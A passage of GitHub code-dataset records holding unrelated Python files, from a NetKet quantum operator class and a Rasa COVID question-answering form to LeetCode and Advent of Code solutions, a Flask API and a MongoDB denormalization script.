\"\"\"Returns the Conjugate-Transposed operator\"\"\"\n if self.is_hermitian:\n return self\n\n from ._lazy import Adjoint\n\n return Adjoint(self)\n\n @property\n def T(self) -> \"AbstractOperator\":\n \"\"\"Returns the transposed operator\"\"\"\n return self.transpose()\n\n @property\n @abc.abstractmethod\n def dtype(self) -> DType:\n \"\"\"The dtype of the operator's matrix elements ⟨σ|Ô|σ'⟩.\"\"\"\n raise NotImplementedError\n\n def collect(self) -> \"AbstractOperator\":\n \"\"\"\n Returns a guranteed concrete instancce of an operator.\n\n As some operations on operators return lazy wrapperes (such as transpose,\n hermitian conjugate...), this is used to obtain a guaranteed non-lazy\n operator.\n \"\"\"\n return self\n\n def transpose(self, *, concrete=False) -> \"AbstractOperator\":\n \"\"\"Returns the transpose of this operator.\n\n Args:\n concrete: if True returns a concrete operator and not a lazy wrapper\n\n Returns:\n if concrete is not True, self or a lazy wrapper; the\n transposed operator otherwise\n \"\"\"\n if not concrete:\n from ._lazy import Transpose\n\n return Transpose(self)\n else:\n raise NotImplementedError\n\n def conjugate(self, *, concrete=False) -> \"AbstractOperator\":\n \"\"\"Returns the complex-conjugate of this operator.\n\n Args:\n concrete: if True returns a concrete operator and not a lazy wrapper\n\n Returns:\n if concrete is not True, self or a lazy wrapper; the\n complex-conjugated operator otherwise\n \"\"\"\n raise NotImplementedError\n\n @property\n def max_conn_size(self) -> int:\n \"\"\"The maximum number of non zero ⟨x|O|x'⟩ for every x.\"\"\"\n raise NotImplementedError\n\n def get_conn_padded(self, x: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n r\"\"\"Finds the connected elements of the Operator.\n Starting from a batch of quantum numbers x={x_1, ... x_n} of size B x M\n where B size of the batch and M size of the hilbert space, finds all states\n y_i^1, ..., y_i^K connected to every x_i.\n Returns a matrix of size B x Kmax x M where Kmax is the maximum number of\n connections for every y_i.\n\n Args:\n x : A N-tensor of shape (...,hilbert.size) containing\n the batch/batches of quantum numbers x.\n\n Returns:\n x_primes: The connected states x', in a N+1-tensor.\n mels: A N-tensor containing the matrix elements :math:`O(x,x')`\n associated to each x' for every batch.\n \"\"\"\n n_visible = x.shape[-1]\n n_samples = x.size // n_visible\n\n sections = np.empty(n_samples, dtype=np.int32)\n x_primes, mels = self.get_conn_flattened(\n x.reshape(-1, x.shape[-1]), sections, pad=True\n )\n\n n_primes = sections[0]\n\n x_primes_r = x_primes.reshape(*x.shape[:-1], n_primes, n_visible)\n mels_r = mels.reshape(*x.shape[:-1], n_primes)\n\n return x_primes_r, mels_r\n\n @abc.abstractmethod\n def get_conn_flattened(\n self, x: np.ndarray, sections: np.ndarray\n ) -> Tuple[np.ndarray, np.ndarray]:\n r\"\"\"Finds the connected elements of the Operator. Starting\n from a given quantum number x, it finds all other quantum numbers x' such\n that the matrix element :math:`O(x,x')` is different from zero. In general there\n will be several different connected states x' satisfying this\n condition, and they are denoted here :math:`x'(k)`, for :math:`k=0,1...N_{\\mathrm{connected}}`.\n\n This is a batched version, where x is a matrix of shape (batch_size,hilbert.size).\n\n Args:\n x (matrix): A matrix of shape (batch_size,hilbert.size) containing\n the batch of quantum numbers x.\n sections (array): An array of sections for the flattened x'.\n See numpy.split for the meaning of sections.\n\n Returns:\n matrix: The connected states x', flattened together in a single matrix.\n array: An array containing the matrix elements :math:`O(x,x')` associated to each x'.\n\n \"\"\"\n raise NotImplementedError()\n\n def get_conn(self, x):\n r\"\"\"Finds the connected elements of the Operator. Starting\n from a given quantum number x, it finds all other quantum numbers x' such\n that the matrix element :math:`O(x,x')` is different from zero. In general there\n will be several different connected states x' satisfying this\n condition, and they are denoted here :math:`x'(k)`, for :math:`k=0,1...N_{\\mathrm{connected}}`.\n\n Args:\n x (array): An array of shape (hilbert.size) containing the quantum numbers x.\n\n Returns:\n matrix: The connected states x' of shape (N_connected,hilbert.size)\n array: An array containing the matrix elements :math:`O(x,x')` associated to each x'.\n\n \"\"\"\n\n return self.get_conn_flattened(\n x.reshape((1, -1)),\n np.ones(1),\n )\n\n def n_conn(self, x, out=None) -> np.ndarray:\n r\"\"\"Return the number of states connected to x.\n\n Args:\n x (matrix): A matrix of shape (batch_size,hilbert.size) containing\n the batch of quantum numbers x.\n out (array): If None an output array is allocated.\n\n Returns:\n array: The number of connected states x' for each x[i].\n\n \"\"\"\n if out is None:\n out = np.empty(x.shape[0], dtype=np.intc)\n self.get_conn_flattened(x, out)\n out = self._n_conn_from_sections(out)\n\n return out\n\n @staticmethod\n @jit(nopython=True)\n def _n_conn_from_sections(out):\n low = 0\n for i in range(out.shape[0]):\n old_out = out[i]\n out[i] = out[i] - low\n low = old_out\n\n return out\n\n def to_sparse(self) -> _csr_matrix:\n r\"\"\"Returns the sparse matrix representation of the operator. Note that,\n in general, the size of the matrix is exponential in the number of quantum\n numbers, and this operation should thus only be performed for\n low-dimensional Hilbert spaces or sufficiently sparse operators.\n\n This method requires an indexable Hilbert space.\n\n Returns:\n The sparse matrix representation of the operator.\n \"\"\"\n concrete_op = self.collect()\n hilb = self.hilbert\n\n x = hilb.all_states()\n\n sections = np.empty(x.shape[0], dtype=np.int32)\n x_prime, mels = concrete_op.get_conn_flattened(x, sections)\n\n numbers = hilb.states_to_numbers(x_prime)\n\n sections1 = np.empty(sections.size + 1, dtype=np.int32)\n sections1[1:] = sections\n sections1[0] = 0\n\n ## eliminate duplicates from numbers\n # rows_indices = compute_row_indices(hilb.states_to_numbers(x), sections1)\n\n return _csr_matrix(\n (mels, numbers, sections1),\n shape=(self.hilbert.n_states, self.hilbert.n_states),\n )\n\n # return _csr_matrix(\n # (mels, (rows_indices, numbers)),\n # shape=(self.hilbert.n_states, self.hilbert.n_states),\n # )\n\n def to_dense(self) -> np.ndarray:\n r\"\"\"Returns the dense matrix representation of the operator. Note that,\n in general, the size of the matrix is exponential in the number of quantum\n numbers, and this operation should thus only be performed for\n low-dimensional Hilbert spaces or sufficiently sparse operators.\n\n This method requires an indexable Hilbert space.\n\n Returns:\n The dense matrix representation of the operator as a Numpy array.\n \"\"\"\n return self.to_sparse().todense().A\n\n def apply(self, v: np.ndarray) -> np.ndarray:\n op = self.to_linear_operator()\n return op.dot(v)\n\n def __call__(self, v: np.ndarray) -> np.ndarray:\n return self.apply(v)\n\n def conj(self, *, concrete=False) -> \"AbstractOperator\":\n return self.conjugate(concrete=False)\n\n def to_linear_operator(self):\n return self.to_sparse()\n\n def _get_conn_flattened_closure(self):\n raise NotImplementedError(\n \"\"\"\n _get_conn_flattened_closure not implemented for this operator type.\n You were probably trying to use an operator with a sampler.\n Please report this bug.\n\n numba4jax won't work.\n \"\"\"\n )\n\n def __repr__(self):\n return f\"{type(self).__name__}(hilbert={self.hilbert})\"\n\n def __matmul__(self, other):\n if isinstance(other, np.ndarray) or isinstance(other, jnp.ndarray):\n return self.apply(other)\n elif isinstance(other, AbstractOperator):\n if self == other and self.is_hermitian:\n from ._lazy import Squared\n\n return Squared(self)\n else:\n return self._op__matmul__(other)\n else:\n return NotImplemented\n\n def _op__matmul__(self, other):\n \"Implementation on subclasses of __matmul__\"\n return NotImplemented\n\n def __rmatmul__(self, other):\n if isinstance(other, np.ndarray) or isinstance(other, jnp.ndarray):\n # return self.apply(other)\n return NotImplemented\n elif isinstance(other, AbstractOperator):\n if self == other and self.is_hermitian:\n from ._lazy import Squared\n\n return Squared(self)\n else:\n return self._op__rmatmul__(other)\n else:\n return NotImplemented\n\n def _op__rmatmul__(self, other):\n \"Implementation on subclasses of __matmul__\"\n return NotImplemented\n","repo_name":"sabernn/netket","sub_path":"netket/operator/_abstract_operator.py","file_name":"_abstract_operator.py","file_ext":"py","file_size_in_byte":11317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"35947613787","text":"from collections import deque\r\n\r\nclass DataStream:\r\n def __init__(self, value, k):\r\n self.stream = deque()\r\n self.value = value\r\n self.k = k\r\n\r\n def consec(self, num):\r\n self.stream.append(num)\r\n if len(self.stream) > self.k:\r\n self.stream.popleft()\r\n\r\n return len(self.stream) == self.k and all(x == self.value for x in self.stream)\r\n\r\n# Example\r\nds = DataStream(2, 3)\r\nprint(ds.consec(1)) # Output: False\r\nprint(ds.consec(2)) # Output: False\r\nprint(ds.consec(2)) # Output: True\r\nprint(ds.consec(2)) # Output: True\r\nprint(ds.consec(1)) # Output: False\r\n","repo_name":"ali008DS/DSA-ASSIGNMENT-15","sub_path":"ASSIGNM 15.py","file_name":"ASSIGNM 15.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73682054472","text":"import collections\n\ntwice = []\nthrice = []\nwith open('input') as f:\n for line in f:\n line = line.rstrip()\n d = collections.defaultdict(int)\n for c in line:\n d[c] += 1\n for char,count in d.iteritems():\n if count == 2 and line not in twice:\n twice.append(line)\n if count == 3 and line not in thrice:\n thrice.append(line)\n\n\n print(len(twice) * len(thrice))\n","repo_name":"ajdranse/adventOfCode","sub_path":"2018/2.1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"25960009708","text":"#사용자정의\nfrom django.contrib.auth.models import User\n#장고의 사용자 모듈\n\n\n# 장고의 view를 html문법으로 바꾸기 위한 렌더링모듈 과 new_topic view가 home으로 돌아가기 위한 redirect모듈\nfrom django.shortcuts import render, redirect\n\n\nfrom .models import Topic, Reply\n# 모델의 클래스명\n\nfrom django.http import HttpResponse\n\nfrom .forms import SummerForm\nfrom django.contrib.auth.models import User\n\n\n#form.py를 불러옴\n#from .forms import RichForm\n\n\n# 추가하기\ndef home(request):\n \n topics = Topic.objects.all() #models의 Topic 개체 생성\n return render(request,'home.html')\n \ndef new_topic(request):\n form = SummerForm()\n topics = Topic.objects.all() \n if request.method =='POST':\n subject = request.POST['subject']\n user = User.objects.first()\n\n topic = Topic.objects.create(\n subject=subject, \n user=user,\n )\n\n post = Reply.objects.create(\n # message=message, 삭제\n created_by=user\n\n )\n\n return redirect('home')\n \n \n \n return render(request,'new_topic.html',{'form': SummerForm()})\n\n\n\n","repo_name":"superhyuk/board_django","sub_path":"makeBoard/boards1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"38393851450","text":"\"\"\"\nGiven a non-empty string containing an out-of-order English\nrepresentation of digits 0-9, output the digits in ascending order.\n\nNote:\nInput contains only lowercase English letters.\nInput is guaranteed to be valid and can be transformed to its\noriginal digits. That means invalid inputs such as \"abc\" or\n\"zerone\" are not permitted.\nInput length is less than 50,000.\n\nExample 1:\nInput: \"owoztneoer\"\nOutput: \"012\"\n\nExample 2:\nInput: \"fviefuro\"\nOutput: \"45\"\n\"\"\"\nimport collections\n\n\nclass Solution:\n digit_to_word = {\n 0: \"zero\",\n 1: \"one\",\n 2: \"two\",\n 3: \"three\",\n 4: \"four\",\n 5: \"five\",\n 6: \"six\",\n 7: \"seven\",\n 8: \"eight\",\n 9: \"nine\"\n }\n\n def originalDigits(self, s: str) -> str:\n \"\"\"\n Runtime complexity: O(n) # each letter is assessed once, processed at most once\n Space complexity: O(1) # self.counter stores 10 keys, all dictionaries are of fixed sizes\n \"\"\"\n self.counter = collections.Counter(s)\n count_digits = [0, ] * 10 # count_digits[i] = total number of digit i in s\n # the following digits have unique letters in their spelling\n unique1 = {\n 0: \"z\",\n 2: \"w\",\n 4: \"u\",\n 6: \"x\",\n 8: \"g\"\n }\n for dig, unique_letter in unique1.items():\n count_digits[dig] = self.counter[unique_letter]\n self.clearDigit(dig, self.counter[unique_letter])\n\n # now, we are left with 1,3,5,7,9 only\n unique2 = {\n 3: \"t\",\n 5: \"f\",\n 7: \"s\",\n }\n for dig, unique_letter in unique2.items():\n count_digits[dig] = self.counter[unique_letter]\n self.clearDigit(dig, self.counter[unique_letter])\n\n # now, we are left with 1 and 9 only\n count_digits[1] = self.counter[\"o\"]\n count_digits[9] = self.counter[\"i\"]\n # print(self.counter)\n # print(count_digits)\n all_letters = [dig for dig in range(10) for _ in range(count_digits[dig])]\n return ''.join(map(str, all_letters))\n\n def clearDigit(self, dig: int, quantity: int) -> None:\n for char in self.digit_to_word[dig]:\n self.counter[char] -= quantity\n\n\nif __name__ == \"__main__\":\n import run_tests\n\n correct_answers = [\n [\"owoztneoer\", \"012\"],\n [\"fviefuro\", \"45\"],\n [\"sevenonefive\", \"157\"],\n [\"nien\", \"9\"]\n ]\n print(\"Running tests for originalDigits\")\n run_tests.run_tests(Solution().originalDigits, correct_answers)","repo_name":"kate-melnykova/LeetCode-solutions","sub_path":"LC423-Reconstruct-Original-Digits-from-English.py","file_name":"LC423-Reconstruct-Original-Digits-from-English.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"14557126610","text":"from __future__ import annotations\n\nimport json\n\nfrom CNB_application.auth import authenticated\nfrom CNB_application.exceptions import FamilyNotFound\nfrom CNB_application.managers.address import address\nfrom CNB_application.managers.membership import family\nfrom flask import request\nfrom flask_restful import Resource\nfrom peewee import DoesNotExist\nfrom playhouse.shortcuts import model_to_dict\n\n\nclass FamilySearch(Resource):\n @authenticated\n def get(self):\n first_name = request.args.get('first_name')\n last_name = request.args.get('last_name')\n response = family.get_family(\n first_name=first_name, last_name=last_name)\n return {'msg': f'Family found {last_name}', 'family': model_to_dict(response)}\n\n\nclass Family(Resource):\n @authenticated\n def get(self, family_id):\n response = family.get_family_via_id(family_id=family_id)\n return {'family': model_to_dict(response), 'status': 200}\n\n @authenticated\n def post(self):\n query = json.loads(request.data.decode('utf-8'))\n family_object = family.create_family(\n first_name=query.get('first_name'),\n last_name=query.get('last_name'),\n email=query.get('email'),\n phone_number=query.get('phone_number'),\n benefactor_member=query.get('benefactor_member'),\n parking=query.get('parking'),\n )\n address.create_address(\n family=family_object,\n address=query.get('address'),\n city=query.get('city'),\n zip_code=query.get('zip_code'),\n country=query.get('country'),\n )\n return {'msg': 'Family created', 'status': 200}\n\n @authenticated\n def patch(self, family_id):\n field = request.args['field']\n info = request.json['value']\n response = family.update_field_info(family_id, field, info)\n\n return {\n 'msg': 'success',\n 'family': model_to_dict(response),\n }\n\n @authenticated\n def put(self):\n family_id = request.args.get('family_id')\n family.update_family(\n family_id=family_id,\n first_name=request.args.get('first_name'),\n last_name=request.args.get('last_name'),\n email=request.args.get('email'),\n phone_number=request.args.get('phone_number'),\n benefactor_member=request.args.get('benefactor_member'),\n parking=request.args.get('parking'),\n )\n address.update_address(\n family_id=family_id,\n address=request.args.get('address'),\n city=request.args.get('city'),\n zip_code=request.args.get('zip_code'),\n country=request.args.get('country'),\n )\n return {'msg': 'success', 'family': family}\n\n @authenticated\n def delete(self):\n try:\n family_id = request.args.get('family_id')\n family_object = family.get_family_via_id(family_id=family_id)\n family_object.delete_instance(recursive=True)\n return True\n except DoesNotExist:\n raise FamilyNotFound\n","repo_name":"SpenderJ/CNB-Application","sub_path":"back/CNB_application/api/membership/family.py","file_name":"family.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"20899296664","text":"import os\nimport random\nfrom typing import Any, Dict, List, Optional, Text, Union\n\nimport structlog\nfrom aiohttp import ClientSession\nfrom rasa_sdk import Tracker\nfrom rasa_sdk.events import ActionExecuted, EventType, Form, SlotSet, UserUttered\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.forms import REQUESTED_SLOT, FormAction\n\nfrom covidflow.constants import LANGUAGE_SLOT, QA_TEST_PROFILE_ATTRIBUTE\n\nfrom .answers import (\n QuestionAnsweringProtocol,\n QuestionAnsweringResponse,\n QuestionAnsweringStatus,\n)\nfrom .form_helper import request_next_slot, yes_no_nlu_mapping\nfrom .lib.log_util import bind_logger\n\nlogger = structlog.get_logger()\n\nFAQ_URL_ENV_KEY = \"COVID_FAQ_SERVICE_URL\"\nDEFAULT_FAQ_URL = \"https://covidfaq.dialoguecorp.com\"\n\nQUESTION_SLOT = \"active_question\"\nFEEDBACK_SLOT = \"feedback\"\nSTATUS_SLOT = \"question_answering_status\"\nANSWERS_SLOT = \"answers\"\nASKED_QUESTION_SLOT = \"asked_question\"\nSKIP_QA_INTRO_SLOT = \"skip_qa_intro\"\n\nANSWERS_KEY = \"answers\"\nSTATUS_KEY = \"status\"\nFEEDBACK_KEY = \"feedback\"\nQUESTION_KEY = \"question\"\n\nFEEDBACK_NOT_GIVEN = \"not_given\"\n\nFORM_NAME = \"question_answering_form\"\n\nTEST_PROFILES_RESPONSE = {\n \"success\": QuestionAnsweringResponse(\n answers=[\"this is my answer\"], status=QuestionAnsweringStatus.SUCCESS\n ),\n \"failure\": QuestionAnsweringResponse(status=QuestionAnsweringStatus.FAILURE),\n \"need_assessment\": QuestionAnsweringResponse(\n status=QuestionAnsweringStatus.NEED_ASSESSMENT\n ),\n \"out_of_distribution\": QuestionAnsweringResponse(\n status=QuestionAnsweringStatus.OUT_OF_DISTRIBUTION\n ),\n}\n\n\nclass QuestionAnsweringForm(FormAction):\n def name(self) -> Text:\n\n return FORM_NAME\n\n async def run(\n self, dispatcher, tracker, domain,\n ):\n bind_logger(tracker)\n return await super().run(dispatcher, tracker, domain)\n\n ## override to play initial messages or prefill slots\n async def _activate_if_required(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[EventType]:\n if tracker.active_form.get(\"name\") == FORM_NAME:\n return await super()._activate_if_required(dispatcher, tracker, domain)\n\n intent = _get_intent(tracker)\n\n # Fallback QA\n if intent == \"fallback\":\n question = tracker.latest_message.get(\"text\", \"\")\n\n result = await self.validate_active_question(\n question, dispatcher, tracker, domain\n )\n\n return await super()._activate_if_required(dispatcher, tracker, domain) + [\n SlotSet(QUESTION_SLOT, question),\n SlotSet(STATUS_SLOT, result[STATUS_SLOT]),\n SlotSet(ANSWERS_SLOT, result[ANSWERS_SLOT]),\n ]\n\n # Regular QA\n # Messages are only played for the first question\n if tracker.get_slot(SKIP_QA_INTRO_SLOT) == True or intent != \"ask_question\":\n return await super()._activate_if_required(dispatcher, tracker, domain)\n\n dispatcher.utter_message(template=\"utter_can_help_with_questions\")\n dispatcher.utter_message(template=\"utter_qa_disclaimer\")\n\n random_qa_samples = (\n _get_fixed_questions_samples()\n if _must_stub_result(tracker)\n else _get_random_question_samples(domain)\n )\n\n if len(random_qa_samples) > 0:\n dispatcher.utter_message(\n template=\"utter_qa_sample\",\n sample_questions=\"\\n\".join(random_qa_samples),\n )\n\n return await super()._activate_if_required(dispatcher, tracker, domain) + [\n SlotSet(SKIP_QA_INTRO_SLOT, True)\n ]\n\n @staticmethod\n def required_slots(tracker: Tracker) -> List[Text]:\n status = tracker.get_slot(STATUS_SLOT)\n if status == QuestionAnsweringStatus.SUCCESS:\n return [QUESTION_SLOT, FEEDBACK_SLOT]\n\n return [QUESTION_SLOT]\n\n def slot_mappings(self) -> Dict[Text, Union[Dict, List[Dict]]]:\n return {\n QUESTION_SLOT: self.from_text(),\n FEEDBACK_SLOT: yes_no_nlu_mapping(self),\n }\n\n def request_next_slot(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Optional[List[EventType]]:\n return request_next_slot(self, dispatcher, tracker, domain)\n\n async def validate_active_question(\n self,\n value: Text,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Dict[Text, Any]:\n result = (\n _get_stub_qa_result(tracker)\n if _must_stub_result(tracker)\n else await _fetch_qa(value, tracker)\n )\n\n if result.status == QuestionAnsweringStatus.SUCCESS and result.answers:\n dispatcher.utter_message(result.answers[0])\n\n return {STATUS_SLOT: result.status, ANSWERS_SLOT: result.answers}\n\n def validate_feedback(\n self,\n value: Text,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> Dict[Text, Any]:\n if value is False:\n dispatcher.utter_message(template=\"utter_post_feedback\")\n\n if not isinstance(value, bool):\n return {FEEDBACK_SLOT: FEEDBACK_NOT_GIVEN}\n\n return {}\n\n def submit(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n feedback = tracker.get_slot(FEEDBACK_SLOT)\n full_question_result = {\n QUESTION_KEY: tracker.get_slot(QUESTION_SLOT),\n ANSWERS_KEY: tracker.get_slot(ANSWERS_SLOT),\n STATUS_KEY: tracker.get_slot(STATUS_SLOT),\n FEEDBACK_KEY: feedback,\n }\n\n # Clearing and saving in case of re-rentry in the form.\n slot_sets = [\n SlotSet(QUESTION_SLOT),\n SlotSet(FEEDBACK_SLOT),\n SlotSet(ASKED_QUESTION_SLOT, full_question_result),\n ]\n\n if feedback == FEEDBACK_NOT_GIVEN:\n return slot_sets + _carry_user_utterance(tracker)\n\n return slot_sets\n\n\ndef _must_stub_result(tracker: Tracker):\n metadata = tracker.get_slot(\"metadata\") or {}\n return QA_TEST_PROFILE_ATTRIBUTE in metadata\n\n\ndef _get_random_question_samples(domain: Dict[Text, Any],) -> List[str]:\n responses = domain.get(\"responses\", {})\n qa_samples_categories = [\n key for key in responses.keys() if key.startswith(\"utter_qa_sample_\")\n ]\n random_qa_samples_categories = random.sample(\n qa_samples_categories, k=min(len(qa_samples_categories), 3)\n )\n\n return [\n f\"- {random.choice(value).get('text')}\"\n for key, value in responses.items()\n if key in random_qa_samples_categories\n ]\n\n\ndef _get_fixed_questions_samples() -> List[str]:\n return [\"- sample question 1\", \"- sample question 2\"]\n\n\nasync def _fetch_qa(text: Text, tracker: Tracker) -> QuestionAnsweringResponse:\n protocol = QuestionAnsweringProtocol(\n os.environ.get(FAQ_URL_ENV_KEY, DEFAULT_FAQ_URL)\n )\n\n language = tracker.get_slot(LANGUAGE_SLOT)\n async with ClientSession() as session:\n return await protocol.get_response(session, text, language)\n\n\ndef _get_stub_qa_result(tracker: Tracker):\n profile = tracker.get_slot(\"metadata\")[QA_TEST_PROFILE_ATTRIBUTE]\n return TEST_PROFILES_RESPONSE[profile]\n\n\ndef _get_intent(tracker: Tracker) -> str:\n return tracker.latest_message.get(\"intent\", {}).get(\"name\", \"\")\n\n\ndef _carry_user_utterance(tracker: Tracker) -> List[EventType]:\n return [\n Form(None), # Ending it manually to have events in correct order to fit stories\n SlotSet(REQUESTED_SLOT, None),\n ActionExecuted(\"utter_ask_another_question\"),\n ActionExecuted(\"action_listen\"),\n UserUttered(\n tracker.latest_message.get(\"text\", \"\"),\n parse_data={\n \"text\": tracker.latest_message.get(\"text\", \"\"),\n \"intent\": tracker.latest_message.get(\"intent\", {}),\n \"intent_ranking\": tracker.latest_message.get(\"intent_ranking\", []),\n \"entities\": tracker.latest_message.get(\"entities\", []),\n },\n ),\n ]\n","repo_name":"dialoguemd-archives/covidflow","sub_path":"action-server/covidflow/actions/question_answering_form.py","file_name":"question_answering_form.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"} +{"seq_id":"26957149587","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*- \n\nimport bikeUtils\n\n#ofo\nofoSite=\"https://zh.wikipedia.org/zh-hans/Ofo%E5%B0%8F%E9%BB%84%E8%BD%A6\"\nofoName=\"ofo小黄车\"\nofoStartFlag = \"运营地区\"\nofoEndFlag = \"车型\"\nofoStrategy = 0\n\n#mobike\nmobikeSite=\"https://zh.wikipedia.org/wiki/%E6%91%A9%E6%8B%9C%E5%8D%95%E8%BD%A6\"\nmobikeName=\"摩拜单车\"\nmobikeStartFlag = \"运营城市\"\nmobikeEndFlag = \"车种\"\nmobikeStrategy = 1\n\ndevelopmentFilePath = \"test.txt\"\n\ndef main():\n try:\n developmentFile = open(developmentFilePath, \"w\") \n print(\"obtaining ofo data......\")\n ofoData = bikeUtils.obtainBikeData(ofoSite, ofoName, ofoStartFlag, ofoEndFlag, ofoStrategy)\n if ofoData is None or len(ofoData) == 0:\n return\n print(\"cannot obtain ofo data\")\n else:\n for data in ofoData:\n developmentFile.write(data + \"\\n\")\n developmentFile.write(\"\\n\")\n print(\"obtaining mobike data......\")\n mobikeData = bikeUtils.obtainBikeData(mobikeSite, mobikeName, mobikeStartFlag, mobikeEndFlag, mobikeStrategy)\n if mobikeData is None or len(mobikeData) == 0:\n print(\"cannot obtain mobike data\")\n return\n else:\n for data in mobikeData:\n developmentFile.write(data + \"\\n\")\n print(\"obtain data success\")\n except IOError:\n print(\"cannot open file\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ParadiseHell/bike-sharing-development","sub_path":"data/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71264004871","text":"from fire import Fire\nfrom pymongo.operations import UpdateMany\n\nfrom analytics.misc.settings import Index\nfrom analytics.databases.aml_client import AMLDB\n\n\ndef denormalize_problem_on_all_runs(problem: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs whose problem reference matches this\n problem, and replaces the reference with a copy of the actual\n problem document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"problem.id\": problem[\"id\"]},\n {\"problem.digest\": problem[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose problem hasn't been copied over yet.\n {\"problem.name\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"problem\": problem}},\n )\n\n\ndef denormalize_dataset_on_all_runs(dataset: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs having a dataset reference matches this\n dataset, and replaces the reference with a copy of the actual\n dataset document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"datasets.id\": dataset[\"id\"]},\n {\"datasets.digest\": dataset[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose datasets haven't been copied over yet.\n {\"datasets.name\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"datasets.$[matcher]\": dataset}},\n array_filters=[\n {\"matcher.id\": dataset[\"id\"], \"matcher.digest\": dataset[\"digest\"]}\n ],\n )\n\n\ndef denormalize_pipeline_on_all_runs(pipeline: dict) -> UpdateMany:\n \"\"\"\n Finds all pipeline runs whose pipeline reference matches this\n pipeline, and replaces the reference with a copy of the actual\n pipeline document.\n \"\"\"\n return UpdateMany(\n filter={\n \"$and\": [\n {\"pipeline.id\": pipeline[\"id\"]},\n {\"pipeline.digest\": pipeline[\"digest\"]},\n # We check for existence of this field to identify pipeline\n # runs whose pipeline hasn't been copied over yet.\n {\"pipeline.schema\": {\"$exists\": False}},\n ]\n },\n update={\"$set\": {\"pipeline\": pipeline}},\n )\n\n\ndef extract_denormalized(*index_names, batch_size: int = 50) -> None:\n \"\"\"\n Denormalizes all pipeline run documents in the lab's local\n database. Adds a copy of each run's problem, datasets, and\n pipeline(s) to the pipeline run document. Reads and updates\n in batches of size `batch_size`. If `index_names` are provided,\n only documents in those indexes/collections will be denormalized\n on the pipeline run documents.\n \"\"\"\n aml = AMLDB()\n\n if len(index_names) == 0:\n # Denormalize all by default.\n to_denormalize = {Index.PROBLEMS, Index.DATASETS, Index.PIPELINES}\n else:\n to_denormalize = {Index(name) for name in index_names}\n\n if Index.PROBLEMS in to_denormalize:\n print(\"denormalizing all pipeline run problem references...\")\n aml.bulk_read_write(\n Index.PROBLEMS,\n Index.PIPELINE_RUNS,\n denormalize_problem_on_all_runs,\n batch_size,\n )\n\n if Index.DATASETS in to_denormalize:\n print(\"denormalizing all pipeline run dataset references...\")\n aml.bulk_read_write(\n Index.DATASETS,\n Index.PIPELINE_RUNS,\n denormalize_dataset_on_all_runs,\n batch_size,\n )\n\n if Index.PIPELINES in to_denormalize:\n print(\"denormalizing all pipeline run pipeline references...\")\n aml.bulk_read_write(\n Index.PIPELINES,\n Index.PIPELINE_RUNS,\n denormalize_pipeline_on_all_runs,\n batch_size,\n )\n\n\nif __name__ == \"__main__\":\n Fire(extract_denormalized)\n","repo_name":"byu-dml/d3m-analytics","sub_path":"analytics/denormalize.py","file_name":"denormalize.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16706224100","text":"from datetime import datetime\nimport matcher.sites.betfair as betfair\nfrom matcher.exceptions import MatcherError\nimport pandas as pd\n\nPLACES = 4\nCOMMISSION = 0.02\n\nidx = pd.IndexSlice\n\n\ndef normalize_probs(probs, odds=True):\n if odds:\n probs = [1 / x for x in probs]\n total_prob = sum(probs)\n if total_prob <= 0:\n print(\"Invalid probabilities: Total probability = %s\" % total_prob)\n return None\n if total_prob != 1:\n # print(\"Normalizing prob by a factor of %s\" % total_prob)\n probs = map(lambda x: x / total_prob, probs)\n return list(probs)\n\n\ndef calc_places_prob(\n horses, # horse place probabilities\n cur_neg_prob=1, # total amount of prob left for the rest of the horses in solution\n cur_adj_factor=1, # probability adjustment using amount of prob left\n included_r=None, # checks whether already included a runner in race solution\n recursion_level=0,\n):\n \"\"\"Recursively iterates through every horse placement position and calculates probability positions given the positions already allocated (if that makes any sense)\"\"\"\n if included_r is None:\n included_r = []\n recursion_level += 1\n for horse, probabilities in horses.items():\n prob = probabilities[0]\n if horse in included_r:\n continue\n # print(horse, included_r)\n\n if recursion_level > 1:\n horses[horse][recursion_level - 1] += prob * cur_adj_factor\n\n if recursion_level < RELEVANT_PLACES:\n 